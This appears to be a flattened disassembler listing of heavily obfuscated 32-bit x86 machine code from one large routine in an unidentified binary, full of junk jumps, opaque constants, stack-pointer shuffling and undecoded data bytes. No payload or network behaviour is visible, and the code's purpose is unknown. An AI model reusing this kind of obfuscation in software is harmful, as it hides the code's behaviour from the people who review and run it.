--------------------------------------------------------------------------- dd 5F9BBD55h, 0EDC114E2h, 53ED8104h, 8112181Bh, 2C4F78C5h dd 81DDF770h, 2408EFC5h, 0E3B85032h, 295CB235h, 0EB2158C5h dd 2DF9E95Dh, 4870000h, 1FAE924h, 0D3E90000h, 51FFFFE0h dd 0C181E189h, 4, 8704C183h, 2FE9240Ch, 33000039h, 0F65C240Ch dd 0B60F66F1h, 1D0DE9CCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548BCA: ; CODE XREF: sub_542C3C+9F9Ej xor ebp, edx jmp loc_549257 ; --------------------------------------------------------------------------- loc_548BD1: ; CODE XREF: sub_542C3C+B2A6j sub ebx, eax jmp loc_551B73 ; --------------------------------------------------------------------------- dd 287EC580h, 7EED80FDh, 0E9241C8Bh, 34C4h, 0E904EC83h dd 0FFFFF319h ; --------------------------------------------------------------------------- loc_548BF0: ; CODE XREF: sub_542C3C+DD82j xor [esp+34h+var_34], ebp xor ebp, [esp+34h+var_34] pop esp sub esp, 4 jmp loc_549ED9 ; --------------------------------------------------------------------------- a_sN db '_é',27h,'N',0 db 0 ; --------------------------------------------------------------------------- loc_548C05: ; CODE XREF: sub_542C3C+CA7Ej sub ebx, eax jmp loc_54C62B ; --------------------------------------------------------------------------- loc_548C0C: ; CODE XREF: sub_542C3C+E923j sub edi, 224F31F9h push esi mov esi, esp push ebp mov ebp, 4 jmp loc_54E264 ; --------------------------------------------------------------------------- dd 88E5C480h, 0F98858E7h, 6C9AE95Bh, 0C5810000h, 0FFD74656h dd 55DE801h, 4, 0E9240487h, 5053h, 809EB151h, 0E9D033C1h dd 0D047C980h, 0A6F180E1h, 8040C180h, 0F8E907E9h, 81FFFFE0h dd 0EEEB3C5h, 8DEA81EEh, 293D5019h, 6E8BE9EAh, 0BABA0000h dd 0E9708B09h, 1C41h ; --------------------------------------------------------------------------- loc_548C7C: ; CODE XREF: sub_542C3C+CD56j sub edi, 0FFDFB7E9h push edi xor [esp+40h+var_40], 1A2F4863h pop ebx push ecx jmp loc_552932 ; --------------------------------------------------------------------------- aSsy db 'SéY$',0 dw 8100h dd 4C4h, 8535E900h, 0EA810000h, 6A457DBBh, 2D6E68h, 243C8900h dd 46A3B951h, 0D1F77749h, 4904E1C1h, 6651E9h, 0C8B6600h dd 0E6895624h, 4C681h, 0EE830000h, 24343304h, 33243431h dd 0E92434h, 500006Ch, 4FA43210h, 2435D8F7h, 81D7B50Fh dd 0A053AEAh, 28ECE973h, 34310000h, 24343324h, 8924248Bh dd 73E9240Ch db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548D07: ; CODE XREF: sub_542C3C+982Ej sub dh, ch jmp loc_54C775 ; --------------------------------------------------------------------------- dw 5752h dd 3E2BF668h, 4F4F5F14h, 4890E9h db 0 ; --------------------------------------------------------------------------- loc_548D1D: ; CODE XREF: sub_542C3C+F63Aj sub edx, esi pop esi jmp loc_54F0FB ; --------------------------------------------------------------------------- db 5Eh, 9, 0DEh dd 83241C8Bh, 4FE904C4h, 5100008Bh, 3536BE56h, 0B2E90885h dd 80000037h, 0FE591AEAh, 69C280CAh, 0E95AD408h, 2D4Fh ; --------------------------------------------------------------------------- loc_548D50: ; CODE XREF: sub_542C3C+F89Ej add esi, 24024EBh add esi, ecx sub esi, 24024EBh push [esp+3Ch+var_3C] pop ecx jmp loc_54D9D7 ; --------------------------------------------------------------------------- db 57h dd 0ED6611BFh, 0D2EF8130h, 815AD854h, 3416C5E7h, 0DDEF8115h dd 8111670Dh, 0A379B0CFh, 0D9F78126h, 89788C4Ah, 243C8BFDh dd 2904C483h, 0E904246Ch, 36Fh, 5D8295Ch, 7DC9549Fh, 3FF2BE56h dd 0EC811B9Ah, 4, 0BF243C89h, 393E4FD3h, 3C8BF801h, 4C48124h dd 1000000h, 4FD32DF0h, 34FF393Eh, 0E6FFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548DD2: ; CODE XREF: sub_542C3C+C2BAj mov edi, ebp pop ebp jmp loc_551E3F ; --------------------------------------------------------------------------- dw 8864h dd 0DE98E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548DE2: ; CODE XREF: sub_542C3C+7258j pop eax jmp loc_55227B ; --------------------------------------------------------------------------- dd 0E9D831ADh, 6713h, 662414F6h, 81240C8Bh, 2C4h, 0E1C18000h dd 6859C820h, 127Bh, 0E9241C89h, 9890h, 315AD689h, 1DE95EF0h dd 31FFFFE1h, 57E9240Ch, 81FFFFDEh, 4C1h, 2D3EE900h, 4ABD0000h dd 29209904h, 5D04246Ch, 11BE565Bh, 0F731CC6Fh, 9DC681DEh dd 8138DA72h, 0FA038EEEh, 0B4EE812Eh, 55B77AFBh, 0A17244BDh dd 2EDC14Ch, 9ECC581h, 0CFE960C2h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548E67: ; CODE XREF: sub_542C3C+E05Dj pop esi shl eax, cl sub esp, 4 mov [esp+34h+var_34], ebx mov ebx, 1 jmp loc_548EEB ; --------------------------------------------------------------------------- dw 0FFBEh aDCSfv db 27h,'^dÁæ',8,'éä¢',0 dw 0B200h aVS8 db '¢(ÐéØ8',0 align 10h dd 8324348Bh, 0C76804C4h, 8900003Bh, 0D5BA2414h, 553CD718h dd 0ABCE952h, 54560000h, 4E9555Eh db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548EB3: ; CODE XREF: sub_542C3C+70CDj mov esi, esp add esi, 4 add esi, 4 jmp loc_54BA50 ; --------------------------------------------------------------------------- loc_548EC3: ; CODE XREF: sub_542C3C+B225j ; sub_542C3C+BC3Aj push ecx push ebx pop ecx push ecx jmp loc_54A7AF ; --------------------------------------------------------------------------- dd 4AB5C681h, 0B9516274h, 2585959h, 6350E981h, 0D1F71BC1h dd 41A2F181h, 39E915BDh db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_548EEB: ; CODE XREF: sub_542C3C+6239j sub esp, 4 mov [esp+38h+var_38], esi mov esi, 18671853h jmp loc_549568 ; --------------------------------------------------------------------------- dw 0EF81h dd 49BA3674h, 0C781C701h, 49BA3674h, 2BA5258h, 1000000h dd 24148BD7h, 4C481h, 3C870000h, 24248B24h, 0EC835166h dd 24048904h, 0C48018B4h, 0E68852CCh, 0A8E9F588h, 5E00000Eh dd 8904EC83h, 0CEBF243Ch, 0C10F8D56h, 0FF5704EFh, 535F2404h dd 0DD5F73BBh, 0EBC14300h, 32BA5205h, 0C1041F3Fh, 0F28103E2h dd 1E41432Bh, 1EB8F281h, 0BE96DBCh, 8900007Eh, 2BD242Ch dd 89000000h, 0E1E95DEFh, 5E000014h, 0B5C7815Fh, 0FF561419h dd 0E95A2434h, 482Eh ; --------------------------------------------------------------------------- loc_548F94: ; CODE XREF: sub_542C3C+F898j push 3A06h mov [esp+3Ch+var_3C], edi push [esp+3Ch+var_38] mov edi, [esp+40h+var_40] jmp loc_54E6A1 ; --------------------------------------------------------------------------- aB7Rsaa db '-B=7-RéA ',0 dw 5A00h dd 12BFE950h, 0C4810000h, 4, 77DFE9h db 0 ; --------------------------------------------------------------------------- loc_548FC5: ; CODE XREF: sub_542C3C+74E9j pop [esp+40h+var_40] pop esp pop ebx jmp loc_546C7A ; --------------------------------------------------------------------------- aBcDCszz db 'ç',8,'d',0Bh,')Ñç采',0 align 4 dd 5C243C87h, 89242C89h, 4C581E5h, 83000000h, 2C8704C5h dd 3C62E924h, 57660000h, 242C8166h, 5A664423h, 4B54E9h dd 240C8900h, 51A868h, 24248900h, 4240483h, 81240C8Bh dd 4C4h, 4B85000h, 1000000h, 24048BC1h, 9BF4E956h, 0C6810000h dd 1D1419E4h, 4BB5359h, 0E9000000h, 7DA8h ; --------------------------------------------------------------------------- loc_549040: ; CODE XREF: sub_542C3C+D199j and esi, ebp mov ebp, [esp+34h+var_34] add esp, 4 push 7377h mov [esp+34h+var_34], ebp mov ebp, 2D977272h push ecx push 4752h mov [esp+3Ch+var_3C], edi mov edi, 4A0B1264h neg edi inc edi xor edi, 0B998A7C0h mov ecx, edi pop edi add ebp, 33E92FECh sub ebp, ecx sub ebp, 33E92FECh pop ecx xor esi, ebp jmp loc_54B329 ; --------------------------------------------------------------------------- db 41h, 0C1h, 0E9h dd 0EEACE903h, 248BFFFFh, 45A2E924h, 7ABD0000h, 552D906Eh dd 0F7243487h, 243487D6h, 0B2C5815Dh, 51592025h, 838EE9h dd 0FF505C00h, 58042474h, 0E924048Fh, 2DEBh, 0BE5657h dd 81754C4Dh, 57065AEEh, 0F6814621h, 53F546A3h, 815EF789h dd 7330DDEDh, 81FD016Fh, 7330DDC5h, 0AAE95F6Fh db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5490EB: ; CODE XREF: sub_542C3C+5C75j pop eax add esp, 4 push 3349h mov [esp+4+var_4], esi push eax push 0FA1356Ah pop eax add eax, 4E1D551Bh jmp loc_54B923 ; --------------------------------------------------------------------------- aLSs6 db '‹,$é™6',0 db 0 ; --------------------------------------------------------------------------- loc_549113: ; CODE XREF: sub_542C3C+558Aj add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx xor ebp, [esp+34h+var_34] xor [esp+34h+var_34], ebp xor ebp, [esp+34h+var_34] pop esp mov [esp+30h+var_30], esi push 29E1328Ah pop esi jmp loc_54DDCB ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 26FBE9h, 241C8B00h, 3D7CE9h, 0D5B95100h dd 896F6846h, 0CAB959CDh, 10E610Dh, 0E2055DE9h, 291A5D78h dd 78E22DC8h, 0C8B1A5Dh, 6916E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549176: ; CODE XREF: sub_542C3C+8AE7j mov eax, 5D3B0015h mov esi, 4B63170Bh xor esi, eax jmp loc_548949 ; --------------------------------------------------------------------------- loc_549187: ; CODE XREF: sub_542C3C+BA09j add ecx, 4 sub ecx, 4 xor ecx, [esp+30h+var_30] xor [esp+30h+var_30], ecx xor ecx, [esp+30h+var_30] mov esp, [esp+30h+var_30] jmp loc_552A2D ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC81h, 2C890000h, 0E2895224h, 4C281h, 0EA810000h dd 4, 73F3E9h, 24348B00h, 41E3E9h db 0 ; --------------------------------------------------------------------------- loc_5491CD: ; CODE XREF: sub_542C3C+9B49j not dh shr dh, 6 and dh, 0D0h add dh, 0F5h and cl, dh mov edx, [esp+30h+var_30] add esp, 4 jmp loc_552BEA ; --------------------------------------------------------------------------- db 51h, 56h, 0BEh dd 0B924EC1Fh, 34FFF189h, 0C4815E24h, 4, 8959CE31h, 6CCEE9F3h dd 0D2680000h, 89000051h, 0BE56241Ch, 4, 15EF389h, 0C7815BDFh dd 2, 31243C33h, 3C33243Ch, 6EE95C24h, 31000000h, 0C1815DE8h dd 14452319h, 94D6E9h db 0 ; --------------------------------------------------------------------------- loc_549239: ; CODE XREF: sub_542C3C+7F57j not ebp neg ebp add ebp, 0E6B2C9A4h mov ebx, ebp pop ebp add edx, ebx pop ebx xchg edx, [esp+24h+var_24] mov esp, [esp+24h+var_24] shr ecx, 0Ah jmp loc_54BC24 ; --------------------------------------------------------------------------- loc_549257: ; CODE XREF: sub_542C3C+5F90j push [esp+34h+var_34] jmp loc_5473DB ; --------------------------------------------------------------------------- db 58h dd 631CE951h, 0E1890000h, 4C181h, 0BD550000h, 2, 5355E9h db 0 ; --------------------------------------------------------------------------- loc_549279: ; CODE XREF: sub_542C3C+E6B2j add esp, 4 push [esp+34h+var_34] mov eax, [esp+38h+var_38] jmp loc_54BCB5 ; --------------------------------------------------------------------------- loc_549287: ; CODE XREF: sub_542C3C+88C2j pop esp mov [esp+34h+var_34], ebx mov ebx, ebp mov eax, ebx pop ebx pop ebp mov esi, [esp+2Ch+var_2C] jmp loc_550F6E ; --------------------------------------------------------------------------- db 0F6h, 0E9h, 66h dd 68CCB60Fh, 45B6h, 89242C89h, 4C581E5h, 50000000h, 2B8h dd 4C90E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5492BA: ; CODE XREF: sub_542C3C+423Cj add esp, 4 loc_5492BD: ; CODE XREF: sub_542C3C+D151j push edx mov edx, esp jmp loc_5483E0 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 5 dd 2685EE81h, 0F74E6A22h, 0E5EE81DEh, 1670BBAh, 4875EF0h dd 0EB805C24h, 0BCB551ADh, 9652E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5492EA: ; CODE XREF: sub_542C3C+8973j push [esp+38h+var_38] pop edi push 1B56h jmp loc_551F24 ; --------------------------------------------------------------------------- dd 2ECABA52h, 0D329164Fh, 0A768505Ah, 5866A872h, 1E97E940h dd 0F7660000h, 0E99C241Ch, 6443h, 13E9C2FEh, 5FFFFDBh dd 4, 8704C083h, 685C2404h, 739h, 83241C89h, 148904ECh dd 3377BA24h, 524A67F2h, 5A2414F7h, 24DFCA81h, 534A36E1h dd 0BE4285BBh, 4CF38148h, 0E927A872h, 2C8Ah, 7BA1C281h dd 0C8B2637h, 4C48124h, 0E9000000h, 65CEh, 36C18159h, 89870C96h dd 0FB0159CFh, 8911E9h, 24148700h, 358E9h, 0FE685000h dd 5843C049h, 1BB53h, 0D8010000h, 6E0C15Bh, 7FBD2D40h dd 0C101F012h, 8324048Bh, 0C3304C4h, 240C3124h, 8A81E9h dd 0D8C0E900h, 8B66FFFFh, 54572404h, 4C7815Fh, 55000000h dd 38ECE9h db 0 ; --------------------------------------------------------------------------- loc_5493CD: ; CODE XREF: sub_542C3C+8093j and ecx, esi mov esi, [esp+3Ch+var_3C] add esp, 4 shr ecx, 0Bh push 4A12h mov [esp+3Ch+var_3C], ebx mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi sub ebx, 4 jmp loc_54A44A ; --------------------------------------------------------------------------- db 68h dd 4242C04h, 81494159h, 0F2F1C9E9h, 59C889E9h, 43F9E9h db 0 ; --------------------------------------------------------------------------- loc_549409: ; CODE XREF: sub_542C3C+500Dj shr ebp, 3 not ebp jmp loc_54DD5E ; --------------------------------------------------------------------------- db 81h dd 5868CDF5h, 0DAFCE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54941E: ; CODE XREF: sub_542C3C+5C5Cj mov eax, [esp+4+var_4] add esp, 4 jmp loc_54E642 ; --------------------------------------------------------------------------- db 54h, 8Bh, 0Ch dd 4C48324h, 7543E9h db 0 ; --------------------------------------------------------------------------- loc_549435: ; CODE XREF: sub_542C3C+EEE2j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] pop esp not eax jmp loc_548905 ; --------------------------------------------------------------------------- dw 0E9C3h dd 0FFFFD826h, 0D8BD5551h, 8963CE70h, 56505DE9h, 4045E950h dd 0DAF60000h, 0E9A5C280h, 1CF7h, 26E982B2h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549477: ; CODE XREF: sub_542C3C+9FF4j mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ecx mov ecx, 0FFFFFFFFh sub ebp, ecx jmp loc_547CD9 ; --------------------------------------------------------------------------- db 81h, 0F6h, 21h dd 89D17EDBh, 24348BF7h, 104C483h, 645BE9F9h, 4BF0000h dd 1000000h, 68565FF8h, 2, 8BF0015Eh, 0E9682434h, 0E9000003h dd 9A33h, 1A3DBD55h, 4CE96BDDh, 68FFFFFFh, 2, 0F4C28158h dd 8153BD29h, 3C17E2EAh, 81C20106h, 3C17E2C2h, 28B95106h dd 4934AF0Dh, 4112E941h, 0C7010000h, 243C3358h, 1F2EE9h dd 0CCD6800h, 0A1E90000h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549503: ; CODE XREF: sub_542C3C+817Dj pop ebx add ch, 4Eh sub bl, ch mov ecx, [esp-8+arg_4] add esp, 4 jmp loc_54DC1A ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 409Ch, 0E9C0B60Fh, 0FFFFE0F2h, 0FFD751E9h dd 63232DFFh, 0D001353Bh, 3B632305h, 56535A35h, 9E1D01BEh dd 1BA524Fh, 1000000h, 1AE95AD6h, 8000008Fh, 0DE006EF3h dd 61B5515Bh, 6BFE9h, 48B6600h, 2C48124h, 0E9000000h, 509Ah ; --------------------------------------------------------------------------- loc_549568: ; CODE XREF: sub_542C3C+62BDj dec esi or esi, 64748F2h sub esi, 400F52AAh push eax mov eax, 68AC11BDh neg eax not eax or eax, 26E83892h push edx mov edx, 0CB31BC16h sub eax, edx pop edx jmp loc_54C392 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED810000h, 4, 5C242C87h, 0E9243489h, 1936h dd 4C581h, 17E90000h, 89000026h, 4BE56E7h, 1000000h, 0E2E95EF7h dd 5E00007Bh, 15AD731h, 0E087E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5495D2: ; CODE XREF: sub_542C3C+9B6Bj add esp, 4 jmp loc_549639 ; --------------------------------------------------------------------------- dw 487h aLIT_rsit db '$‹$$‰<$T_Réi’',0 dw 5700h dd 2BFh, 74620500h, 0F8017774h, 7474622Dh, 243C8B77h, 8304C483h dd 48904ECh, 2474FF24h, 48F5804h, 9665C24h, 0E99C2404h dd 0FFFFD65Eh, 8BEE295Fh, 0C483242Ch, 0FFBB5304h, 1111436h dd 0C6815BDEh, 751B088Dh, 99ACE9h db 0 ; --------------------------------------------------------------------------- loc_549639: ; CODE XREF: sub_542C3C+6999j pop edi not edi xchg eax, edi xchg eax, edx push 446Dh mov [esp+38h+var_38], eax jmp loc_551580 ; --------------------------------------------------------------------------- loc_54964B: ; CODE XREF: sub_542C3C+8841j pop eax shl edx, 1 sub edx, 0CD9118Eh push ecx mov ecx, edx mov esi, ecx pop ecx mov edx, [esp+34h+var_34] add esp, 4 and eax, esi push [esp+30h+var_30] pop esi add esp, 4 push edx push ecx mov ecx, 34803C6Bh and ecx, 234F7AA8h jmp loc_54CEC0 ; --------------------------------------------------------------------------- db 0F7h dd 52D8F7D8h, 0FFF26AE9h db 0FFh ; --------------------------------------------------------------------------- loc_549685: ; CODE XREF: sub_542C3C+E014j mov [esp+34h+var_34], esp add [esp+34h+var_34], 4 mov esi, [esp+34h+var_34] add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp+30h+var_30] pop esp loc_5496A2: ; CODE XREF: sub_542C3C:loc_54A60Bj ; sub_542C3C:loc_54CC86j push dword ptr [edi+24h] push [esp+30h+var_30] pop ecx jmp loc_54C915 ; --------------------------------------------------------------------------- dw 0D901h dd 95FEE95Bh, 3C320000h, 243C3024h, 89565366h, 4C681E6h dd 0E9000000h, 94B7h, 0B951FA01h, 261E38FCh, 1696C281h dd 0CA015DE9h, 0FFF43DE9h, 8B665CFFh, 0EC832404h, 0E04E904h dd 0C7810000h, 34A963E9h, 0E439E952h, 0C481FFFFh, 4, 8A768h dd 240C8900h, 65B7E9h, 12CDBA00h, 24E95DDBh, 52000014h dd 2A1DE9h db 0 ; --------------------------------------------------------------------------- loc_54971D: ; CODE XREF: sub_542C3C+4AD6j sub [esp+2Ch+var_28], 2EB00EBBh add [esp+2Ch+var_28], esi add [esp+2Ch+var_28], 2EB00EBBh pop esi mov edi, [esp+28h+var_28] add esp, 4 sub edi, 47FF556Eh mov eax, edi pop edi push esi push edi push 47962DD3h mov edi, [esp+2Ch+var_2C] add esp, 4 push eax mov eax, 88F5B40h mov esi, 287D19E9h add esi, eax mov eax, [esp+2Ch+var_2C] add esp, 4 dec esi jmp loc_552A88 ; --------------------------------------------------------------------------- db 0ADh, 81h, 0ECh dd 4, 0E9240C89h, 6C2Fh, 4BDh, 5DE90100h, 2474FF51h, 48F5904h dd 24248B24h, 0E924048Bh, 0FFFFF712h, 4EC8158h, 89000000h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+2Ch+var_2C] pop esp mov [esp+28h+var_28], esp add [esp+28h+var_28], 4 pop esi push edx jmp loc_54EBA6 ; --------------------------------------------------------------------------- dd offset dword_596968 align 4 dd 0E9243489h, 0CA7h, 24048B66h, 306868h, 24348900h, 4EC81h dd 24890000h, 24048324h, 57555E04h, 0BB6BE3BFh, 9421BD1Fh dd 0C581E044h, 7F707B67h, 3F66ED81h, 0FD01095Fh, 3F66C581h dd 0B850095Fh, 48F5416h, 0FF2F7135h, 58C5297Bh, 5DEE015Fh dd 2C681h, 98E90000h, 89000080h, 4BB241Ch, 0E9000000h dd 6BE7h, 9C240430h, 764FE9h, 248B6600h, 0D434E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549846: ; CODE XREF: sub_542C3C+C102j push ecx push esi push ebx mov ebx, 25F36292h mov esi, 7B872B6Bh jmp loc_547016 ; --------------------------------------------------------------------------- dd 345EE981h, 0D10156EBh, 365868h, 24048900h, 205DC9B8h dd 0FEE976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549872: ; CODE XREF: sub_542C3C+CF24j add edi, edx jmp loc_54CB9D ; --------------------------------------------------------------------------- db 5Fh, 9, 77h dd 66CEE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_549882: ; CODE XREF: sub_542C3C+485Bj xor edi, edx pop edx mov edx, edi pop edi and eax, edx push [esp+2Ch+var_2C] pop edx push 2282h mov [esp+30h+var_30], edi mov edi, esp jmp loc_54EC3F ; --------------------------------------------------------------------------- db 81h, 0C3h, 9Bh dd 0E91F322Eh, 5B9Ch, 0D0CDEA80h, 4EC81EAh, 89000000h dd 0E9522404h, 9Bh ; --------------------------------------------------------------------------- loc_5498BC: ; CODE XREF: sub_542C3C+F1E7j inc ebx jmp loc_54C150 ; --------------------------------------------------------------------------- loc_5498C2: ; CODE XREF: sub_542C3C+4A2Bj xor ecx, [esp+30h+var_30] mov esp, [esp+30h+var_30] pop eax push esi push 2A9Ch mov [esp+34h+var_34], edi mov edi, 4 jmp loc_54BF7C ; --------------------------------------------------------------------------- dd 8246C01h, 6359E9h db 0 ; --------------------------------------------------------------------------- loc_5498E5: ; CODE XREF: sub_542C3C+72A6j push esi mov esi, 25D6064Fh shr esi, 1 not esi not esi push ecx mov ecx, 7355A9Ch jmp loc_551EEF ; --------------------------------------------------------------------------- dd 496DDCB9h, 8DF18164h, 0C12F3A3Fh, 0E9C102E9h, 25F18105h dd 0F7600927h, 6DF181D1h, 21D7F758h, 834CE9CDh, 0F8010000h dd 2F31CF2Dh, 7ABB5346h, 0E944F044h, 540Fh, 8159CA31h dd 0DCC786C2h, 4412E90Fh, 4C680000h, 8900000Bh, 0ACE9241Ch dd 6600003Dh, 47E930FFh, 0B600003Dh, 2AEE80E7h, 0FE06E6C0h dd 0E1FE9C6h, 7BA0000h, 0E97B4676h, 0FFFFE3E7h, 5203E8C1h dd 0C30B4CBAh, 2EAC141h, 4F95E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549982: ; CODE XREF: sub_542C3C+5B5Ej xor esi, 0A006E1DDh sub [edi+24h], esi push [esp+18h+var_18] jmp loc_55129E ; --------------------------------------------------------------------------- db 66h dd 0E9240489h, 0FFFFD2DEh, 4BA52h, 0E9810000h, 121E1BCEh dd 25F2E981h, 29E94B8Eh, 66000019h, 2EC835Ah, 8FEBE9h dd 6E98100h, 89C50C11h, 1D8E9CAh, 0EA890000h, 4CE94A5Dh dd 1000094h, 5767E9C7h, 4890000h, 7FABB824h, 0E95539E3h dd 54EAh, 4C00EF81h, 0D5E952C3h, 5E000061h, 83EBE9h, 55E18900h dd 84B6E9h, 241C8700h, 24048F5Ch, 4EC815Ch, 89000000h dd 5A542414h, 4C281h, 50550000h, 3F476851h, 81592538h dd 140A14C1h, 59585131h, 6ED9E9h, 4055C00h, 5000000h, 4 dd 31240433h, 4332404h, 24248B24h, 0FFD9DFE9h, 0C8B66FFh dd 244E6824h, 3C890000h, 535F5424h, 0DC685750h, 0E979C27Ah dd 3388h, 8B240C87h, 4892424h, 0E9585424h, 7B45h, 0E9243489h dd 637Ch, 0C888F988h, 0BA525B59h, 28h, 890DE9h db 0 ; --------------------------------------------------------------------------- loc_549A91: ; CODE XREF: sub_542C3C+E7EEj inc ebp inc ebp push eax push ebp mov ebp, 76E754F9h push esi mov esi, 37E0313Fh xor esi, 2D1B6C18h xor ebp, esi pop esi jmp loc_54D1B4 ; --------------------------------------------------------------------------- dw 0E82Ch dd 0E9B75366h, 0E92C0204h, 0B551F800h, 0E9EDD0A0h, 1C19h dd 0E9243C8Bh, 61EDh, 582434FFh, 2707E9h, 0FFC38300h, 1308C381h dd 442DB695h, 2936A347h, 8992E9D8h, 0CB890000h, 4BB95159h dd 0E9530E09h, 8452h ; --------------------------------------------------------------------------- loc_549AF8: ; CODE XREF: sub_542C3C+F1A3j xchg ebp, [esp+24h+var_24] pop esp sub edx, 244D3D99h add edx, eax push ebx mov ebx, 54C80AA0h xchg esi, ebx sub esi, 0FFFFFFFFh push ebx push esi jmp loc_550499 ; --------------------------------------------------------------------------- aISE db 'ˆÔéÄE',0 align 10h loc_549B20: ; CODE XREF: sub_542C3C+77FEj add esp, 4 and eax, edx mov edx, [esp+28h+var_28] add esp, 4 or eax, eax jz loc_546D38 push dword ptr [edi+1Ch] push eax mov eax, 615013D1h sub [esp+2Ch+var_28], eax mov eax, [esp+2Ch+var_2C] jmp loc_54A66C ; --------------------------------------------------------------------------- dw 66ACh dd 66143B68h, 52241489h, 0D5E9E289h, 28000034h, 0E9805BDAh dd 50E9808Bh, 0E952D128h, 156Dh ; --------------------------------------------------------------------------- loc_549B70: ; CODE XREF: sub_542C3C+A598j push 7654h mov [esp+30h+var_30], ebx push edx push 409C6DFFh pop edx neg edx dec edx xor edx, 0E4FAF2D4h push edx pop ebx pop edx xor edi, ebx pop ebx jmp loc_54CB19 ; --------------------------------------------------------------------------- db 28h dd 0EA3058C5h, 28940459h, 1C26E9D0h, 0E9590000h, 40A9h ; --------------------------------------------------------------------------- loc_549BA8: ; CODE XREF: sub_542C3C+C8D3j push ebx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_549BC3 ; --------------------------------------------------------------------------- aSsf db ']éè”',0 db 0 ; --------------------------------------------------------------------------- loc_549BC3: ; CODE XREF: sub_542C3C+6F7Cj xchg edi, [esp+34h+var_34] pop esp jmp loc_54FD03 ; --------------------------------------------------------------------------- dd 4EC83ADh, 732BE9h, 24343100h, 0E9243433h, 41F2h ; --------------------------------------------------------------------------- loc_549BE0: ; CODE XREF: sub_542C3C+FC13j push dword ptr [eax] jmp loc_552193 ; --------------------------------------------------------------------------- db 0FFh dd 0CE92434h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549BEF: ; CODE XREF: sub_542C3C+C903j push [esp+34h+var_34] jmp loc_551F84 ; --------------------------------------------------------------------------- db 29h dd 0C2815BDAh, 5AA669A2h, 0F75AD521h, 2EDC1D5h, 197E9h dd 4C38300h, 0E9241C87h, 490Dh, 3070F580h, 0C38059EEh dd 6377E93Dh, 8B660000h, 0E8E92404h, 0FF000060h, 34FF2434h dd 24048B24h, 4C481h, 0C4810000h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 29E83CF3h and edi, 7C1A285Ah neg edi add edi, 28082856h sub ebp, 15104EBCh add ebp, edi jmp loc_54DBC8 ; --------------------------------------------------------------------------- loc_549C68: ; CODE XREF: sub_542C3C+DF69j sub esp, 4 mov [esp+44h+var_44], edi sub esp, 4 mov [esp+48h+var_48], ebp jmp loc_551FFF ; --------------------------------------------------------------------------- db 50h dd 42474FFh, 2286E9h, 24348900h, 0C8B5E51h, 4C48324h, 0C7E9F187h dd 57000070h, 42474FFh, 78BFE9h, 51525900h, 32AE9h, 0AB95100h dd 0BA2E7A47h, 0D185B8FAh, 45DAE9h, 2FC38000h, 0C3005866h dd 80B4C380h, 0B60F53EBh, 87048FC0h, 1A87E9h, 30E95A00h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549CDB: ; CODE XREF: sub_542C3C+C4C5j add ebp, edx pop edx sub esp, 4 mov [esp+48h+var_48], edi mov edi, 83B5489h sub edi, 0E3B13BCCh and ebp, edi pop edi xor ebp, 20800194h and eax, ebp mov ebp, [esp+44h+var_44] sub esp, 4 mov [esp+48h+var_48], esi jmp loc_548EB3 ; --------------------------------------------------------------------------- dw 30ACh dd 0B15166D8h, 66C83098h, 68240C8Bh, 1692h, 68240C89h dd 3E72h, 0E9242489h, 647Dh ; --------------------------------------------------------------------------- loc_549D30: ; CODE XREF: sub_542C3C+E404j mov esi, ecx pop ecx shr esi, 3 jmp loc_552B51 ; --------------------------------------------------------------------------- db 83h dd 0EB8002C4h, 80E328CAh, 48BCAC3h, 0E7895724h, 4C781h dd 0C7810000h, 4, 5C243C87h, 0FD9C380h, 34FFC0B6h, 0CF10E987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D6A: ; CODE XREF: sub_542C3C+5D34j and edx, 697622C5h sub edx, 0E4F9C74Eh jmp loc_55018E ; --------------------------------------------------------------------------- db 89h dd 0B9E9241Ch, 0FF000013h, 589D1C77h, 9C240419h, 0FFCEE9E9h dd 4EC83FFh, 54240489h, 4B95158h, 0E9000000h, 941Fh, 884DED81h dd 39E98C40h, 31000026h, 0C1815AD1h, 8CB8E813h, 3359CF01h dd 3C31243Ch, 243C3324h, 6624248Bh, 9C240429h, 0FFCEA9E9h dd 4C483FFh, 8B24048Fh, 3B662424h, 9BE99CC8h, 8B00004Ch dd 0C4832414h, 5616E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549DEE: ; CODE XREF: sub_542C3C+FFA9j or ecx, edx pop edx push ebx mov ebx, 389C55A2h xor ecx, ebx pop ebx inc ecx sub ecx, 4EC12E2Ch add eax, ecx jmp loc_54E8FD ; 